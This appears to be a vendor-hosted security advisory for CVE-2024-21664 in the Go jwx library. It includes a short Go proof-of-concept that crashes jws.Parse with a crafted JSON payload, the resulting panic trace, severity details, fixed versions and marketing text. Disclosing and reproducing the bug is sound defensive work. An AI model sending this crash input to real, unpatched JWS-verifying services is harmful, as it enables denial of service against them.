Summary
Parsing JSON serialized payload without protected field can lead to segfault
Calling jws.Parse with a JSON serialized payload where the signature field is present while protected is absent can lead to a nil pointer dereference.
Details
This seems to also affect other functions that calls Parse internally, like jws.Verify.
My understanding of these functions from the docs is that they are supposed to fail gracefully on invalid input and don't require any prior validation.
Based on the stack trace in the PoC, the issue seems to be that the processing done in jws/message.go:UnmarshalJSON() assumes that if a signature field is present, then a protected field is also present. If this is not the case, then the subsequent call to getB64Value(sig.protected) will dereference sig.protected, which is nil.
PoC
Reproducer:
package poc
import (
"testing"
"github.com/lestrrat-go/jwx/v2/jws"
)
func TestPOC(t *testing.T) {
_, _ = jws.Parse([]byte(`{"signature": ""}`))
}
Result:
$ go test
--- FAIL: TestPOC (0.00s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered]
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x40 pc=0x5fd618]
goroutine 6 [running]:
testing.tRunner.func1.2({0x628800, 0x831030})
/usr/local/go/src/testing/testing.go:1545 +0x238
testing.tRunner.func1()
/usr/local/go/src/testing/testing.go:1548 +0x397
panic({0x628800?, 0x831030?})
/usr/local/go/src/runtime/panic.go:914 +0x21f
github.com/lestrrat-go/jwx/v2/jws.getB64Value({0x0?, 0x0?})
/home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/jws/jws.go:484 +0x18
github.com/lestrrat-go/jwx/v2/jws.(*Message).UnmarshalJSON(0xc0000a2140, {0xc0000ec000, 0x11, 0x200})
/home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/jws/message.go:323 +0x4ad
encoding/json.(*decodeState).object(0xc0000ea028, {0x64fa60?, 0xc0000a2140?, 0x16?})
/usr/local/go/src/encoding/json/decode.go:604 +0x6cc
encoding/json.(*decodeState).value(0xc0000ea028, {0x64fa60?, 0xc0000a2140?, 0xc00006e630?})
/usr/local/go/src/encoding/json/decode.go:374 +0x3e
encoding/json.(*decodeState).unmarshal(0xc0000ea028, {0x64fa60?, 0xc0000a2140?})
/usr/local/go/src/encoding/json/decode.go:181 +0x133
encoding/json.(*Decoder).Decode(0xc0000ea000, {0x64fa60, 0xc0000a2140})
/usr/local/go/src/encoding/json/stream.go:73 +0x179
github.com/lestrrat-go/jwx/v2/internal/json.Unmarshal({0xc00001a288, 0x11, 0x11}, {0x64fa60, 0xc0000a2140})
/home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/internal/json/json.go:26 +0x97
github.com/lestrrat-go/jwx/v2/jws.parseJSON({0xc00001a288, 0x11, 0x11})
/home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/jws/jws.go:588 +0x50
github.com/lestrrat-go/jwx/v2/jws.Parse({0xc00001a288, 0x11, 0x11}, {0x0?, 0xc00006e760?, 0x48450f?})
/home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/jws/jws.go:525 +0x89
poc.TestPOC(0x0?)
/home/fredrik/src/jwx_poc/poc_test.go:10 +0x57
testing.tRunner(0xc0000e4340, 0x68ef30)
/usr/local/go/src/testing/testing.go:1595 +0xff
created by testing.(*T).Run in goroutine 1
/usr/local/go/src/testing/testing.go:1648 +0x3ad
exit status 2
FAIL poc 0.005s
Impact
The vulnerability can be used to crash / DOS a system doing JWS verification.
The application dereferences a null pointer, causing a crash. Typical impact: denial of service via crash.
CVE-2024-21664 has a CVSS score of 4.3 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.0.19, 1.2.28); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
github.com/lestrrat-go/jwx/v2 to 2.0.19 or later; github.com/lestrrat-go/jwx to 1.2.28 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2024-21664? CVE-2024-21664 is a medium-severity null pointer dereference vulnerability in github.com/lestrrat-go/jwx/v2 (go), affecting versions < 2.0.19. It is fixed in 2.0.19, 1.2.28. The application dereferences a null pointer, causing a crash.
- How severe is CVE-2024-21664? CVE-2024-21664 has a CVSS score of 4.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which packages are affected by CVE-2024-21664?
github.com/lestrrat-go/jwx/v2(go) (versions < 2.0.19)github.com/lestrrat-go/jwx(go) (versions >= 1.0.8, < 1.2.28)
- Is there a fix for CVE-2024-21664? Yes. CVE-2024-21664 is fixed in 2.0.19, 1.2.28. Upgrade to this version or later.
- Is CVE-2024-21664 exploitable, and should I be worried? Whether CVE-2024-21664 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2024-21664 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2024-21664?
- Upgrade
github.com/lestrrat-go/jwx/v2to 2.0.19 or later - Upgrade
github.com/lestrrat-go/jwxto 1.2.28 or later
- Upgrade